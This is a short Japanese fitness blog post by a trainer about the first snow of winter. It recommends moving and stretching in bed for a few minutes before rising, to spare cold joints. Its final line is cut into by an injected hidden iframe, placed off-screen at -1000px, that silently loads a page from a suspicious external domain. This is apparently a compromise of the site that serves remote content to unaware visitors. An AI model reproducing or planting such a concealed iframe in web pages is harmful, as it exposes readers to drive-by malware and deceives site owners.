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初雪

こんばんは
ビーグラン トレーナーの高橋涼です!

初雪と雷のコラボレーションはすごい衝撃でしたね!
皆さん車のタイヤ交換や冬用の靴に履き替えなど色々と忙しくなったのではないでしょうか。

さて、この時期は例年朝布団から出た時に膝や腰などの関節に痛みが出たという方が多くなります。
最近は一気に気温が下がり、寝て何時間も動かしていない関節を起きてすぐに布団から出て動かすというのはとてもリスクがあります。

そこで
朝起きた時はまず布団の中で5〜10分ほど身体をもぞもぞ動かしてストレッチや膝の曲げ伸ばし運動、手足の指を動かすなどしてから布団を出ると良いです(^^)
ぜひ明日の朝からすぐにでも実践し!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe

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